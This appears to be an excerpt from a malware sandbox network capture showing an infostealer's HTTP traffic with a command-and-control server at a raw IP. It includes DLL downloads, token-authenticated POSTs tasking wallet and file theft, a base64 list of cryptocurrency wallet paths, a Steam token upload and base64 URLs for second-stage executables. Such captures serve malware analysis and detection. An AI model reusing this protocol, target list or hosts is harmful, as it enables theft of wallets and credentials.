Aug 30, 2024 03:17:36.758820057 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 03:17:37.531151056 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 03:17:37.709649086 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 30, 2024 03:17:38.569400072 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 03:17:38.763077974 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 30, 2024 03:17:40.099579096 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 03:17:40.278166056 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 30, 2024 03:17:40.823497057 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 03:17:41.001157045 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 30, 2024 03:17:43.289459944 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 03:17:43.467767954 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 30, 2024 03:17:44.235135078 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 03:17:44.412666082 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 30, 2024 03:17:44.980957031 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAF Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 03:17:45.225029945 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 03:17:45.995193958 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJ Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="message"wallets------BKFBAECBAEGDGDHIEHIJ--
Aug 30, 2024 03:17:46.177829027 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:46 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Aug 30, 2024 03:17:46.375679016 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCFBAAEHCFHJJKEHJK Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------AKFCFBAAEHCFHJJKEHJKContent-Disposition: form-data; name="message"files------AKFCFBAAEHCFHJJKEHJK--
Aug 30, 2024 03:17:46.585752010 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 03:17:46.714145899 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBF Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="file"------JKKKJJJKJKFHJJJJECBF--
Aug 30, 2024 03:17:46.949804068 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 03:17:47.181929111 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJE Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="message"ybncbhylepme------FHIDAKFIJJKJJJKEBKJE--
Aug 30, 2024 03:17:47.415987015 CEST	395	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 168 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 30 4e 79 34 30 4e 53 34 30 4e 43 34 78 4d 44 51 76 63 48 4a 76 5a 79 38 32 4e 6d 51 77 59 32 51 35 59 54 59 31 59 6a 56 6b 58 33 5a 78 64 32 56 79 5a 32 59 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 47 68 30 64 48 41 36 4c 79 38 78 4e 44 63 75 4e 44 55 75 4e 44 51 75 4d 54 41 30 4c 33 42 79 62 32 63 76 4e 6a 5a 6b 4d 47 4e 6b 4f 47 5a 69 4e 6d 59 33 59 6c 39 73 5a 32 70 6d 5a 43 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 52 38 Data Ascii: aHR0cDovLzE0Ny40NS40NC4xMDQvcHJvZy82NmQwY2Q5YTY1YjVkX3Zxd2VyZ2YuZXhlfDB8MHxTdGFydHw0fGh0dHA6Ly8xNDcuNDUuNDQuMTA0L3Byb2cvNjZkMGNkOGZiNmY3Yl9sZ2pmZC5leGV8MHwwfFN0YXJ0fDR8
Aug 30, 2024 03:17:51.253823042 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCFBFHIEBKJKFHIEBFB Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 2d 2d 0d 0a Data Ascii: ------KFCFBFHIEBKJKFHIEBFBContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------KFCFBFHIEBKJKFHIEBFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KFCFBFHIEBKJKFHIEBFB--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49763	147.45.44.104	80	352	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
